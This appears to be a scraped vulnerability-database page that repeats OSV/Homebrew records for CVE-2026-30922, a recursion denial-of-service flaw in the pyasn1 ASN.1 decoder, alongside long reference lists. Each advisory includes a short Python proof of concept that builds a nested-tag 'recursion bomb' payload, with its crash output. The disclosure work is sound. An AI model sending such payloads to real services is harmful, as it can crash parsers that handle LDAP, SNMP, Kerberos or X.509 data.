    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.4.8",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "certsync",
            "purl": "pkg:brew/certsync"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.1.4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.4.8",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.4.8"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-certsync-CVE-2026-30922",
      "modified": "2026-10-08T01:07:54Z",
      "published": "2026-08-13T16:39:03Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-DSTACK-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:43 – Updated: 2026-10-31 08:45 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "dstack",
            "purl": "pkg:brew/dstack"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.2"
                },
                {
                  "fixed": "0.20.13_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-dstack-CVE-2026-30922",
      "modified": "2026-10-31T08:45:30Z",
      "published": "2026-08-13T16:43:57Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-DUPLICITY-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:44 – Updated: 2026-10-31 18:52 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
